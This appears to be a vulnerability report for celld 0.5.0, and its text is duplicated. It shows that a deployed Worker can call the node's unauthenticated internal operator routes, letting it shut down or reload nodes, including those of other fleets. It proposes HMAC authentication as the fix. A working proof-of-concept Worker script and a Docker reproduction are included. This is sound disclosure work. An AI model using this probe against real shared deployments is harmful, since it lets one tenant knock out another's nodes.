I'm mostly making sure to follow the limits and security practices.
docs/security.md says the application is trusted within its own fleet, and that a trusted private network protects the internal listener. I think there is a gap between the two: a Worker's outbound fetch starts on the node, so it is already inside that network.
From a deployed Worker, against celld 0.5.0:
| request |
answer |
GET http://127.0.0.1:<internal>/state |
200, the node state |
POST http://127.0.0.1:<internal>/reload |
200, "outcome":"adopted" |
POST http://127.0.0.1:<internal>/shutdown |
200 {"ok":true}, and the node drains and exits |
For a single fleet this is within the security model, the app is trusted there. But the fleet is also the isolation unit ("do not run code from mutually distrusting tenants in one fleet"), and two fleets can share a host or a private network. In that setup the Worker of fleet A can /shutdown, /evict or /reload a node of fleet B, since the operator routes carry no authentication at all.
Would you consider requiring the fleet HMAC on the operator routes too, like the peer-control routes already do? A Worker holds no bucket credentials, so it could never read another fleet's fleet/peer-auth.json, and nothing changes for a fleet's own operators.
Reproduction
A simple celld + SeaweedFS, in Docker. With a app/wrangler.jsonc as test:
app/index.js:
const TARGETS = [
["GET", "http://127.0.0.1:8081/state"],
["POST", "http://127.0.0.1:8081/reload"],
["POST", "http://127.0.0.1:8081/shutdown"],
];
export default {
async fetch() {
const out = {};
for (const [method, target] of TARGETS) {
try {
const r = await fetch(target, { method, signal: AbortSignal.timeout(3000) });
out[`${method} ${target}`] = `${r.status} ${(await r.text()).slice(0, 60)}`;
} catch (e) { out[`${method} ${target}`] = `ERR ${String(e).slice(0, 80)}`; }
}
return Response.json(out);
},
};
repro.sh, next to app/:
CELLD=ghcr.io/denoland/celld:0.5.0
CREDS="-e AWS_ACCESS_KEY_ID=any -e AWS_SECRET_ACCESS_KEY=any -e AWS_REGION=us-east-1"
docker network create probe
docker run -d --name s3 --network probe chrislusf/seaweedfs:4.42 server -s3
sleep 15
docker run --rm --network probe curlimages/curl -s -X PUT http://s3:8333/fleet
docker run --rm --network probe $CREDS -v "$PWD/app:/app:ro" -w /app $CELLD \
deploy --bucket fleet/probe --endpoint http://s3:8333
docker run -d --name node --network probe $CREDS $CELLD \
--bucket fleet/probe --endpoint http://s3:8333 \
--listen 0.0.0.0:8080 --internal-listen 0.0.0.0:8081 --advertise node:8081
sleep 20
docker run --rm --network probe curlimages/curl -s http://node:8080/
sleep 10
docker ps -a --filter name=node # Exited (0)
What the Worker answers:
{
"GET http://127.0.0.1:8081/state": "200 {\"activating\":0,\"activation_waiting\":0,\"adopting\":0,\"capacit",
"POST http://127.0.0.1:8081/reload": "200 {\"generation\":2,\"ok\":true,\"outcome\":\"adopted\",\"prefix\":\"depl",
"POST http://127.0.0.1:8081/shutdown": "200 {\"ok\":true}"
}
and ten seconds later docker ps -a shows node Exited (0).
I'm mostly making sure to follow the limits and security practices.
docs/security.mdsays the application is trusted within its own fleet, and that a trusted private network protects the internal listener. I think there is a gap between the two: a Worker's outboundfetchstarts on the node, so it is already inside that network.From a deployed Worker, against celld 0.5.0:
GET http://127.0.0.1:<internal>/state200, the node statePOST http://127.0.0.1:<internal>/reload200,"outcome":"adopted"POST http://127.0.0.1:<internal>/shutdown200 {"ok":true}, and the node drains and exitsFor a single fleet this is within the security model, the app is trusted there. But the fleet is also the isolation unit ("do not run code from mutually distrusting tenants in one fleet"), and two fleets can share a host or a private network. In that setup the Worker of fleet A can
/shutdown,/evictor/reloada node of fleet B, since the operator routes carry no authentication at all.Would you consider requiring the fleet HMAC on the operator routes too, like the peer-control routes already do? A Worker holds no bucket credentials, so it could never read another fleet's
fleet/peer-auth.json, and nothing changes for a fleet's own operators.Reproduction
A simple
celld+ SeaweedFS, in Docker. With aapp/wrangler.jsoncas test:{ "name": "probe", "main": "index.js", "compatibility_date": "2026-01-01", "no_bundle": true }app/index.js:repro.sh, next toapp/:What the Worker answers:
{ "GET http://127.0.0.1:8081/state": "200 {\"activating\":0,\"activation_waiting\":0,\"adopting\":0,\"capacit", "POST http://127.0.0.1:8081/reload": "200 {\"generation\":2,\"ok\":true,\"outcome\":\"adopted\",\"prefix\":\"depl", "POST http://127.0.0.1:8081/shutdown": "200 {\"ok\":true}" }and ten seconds later
docker ps -ashowsnode Exited (0).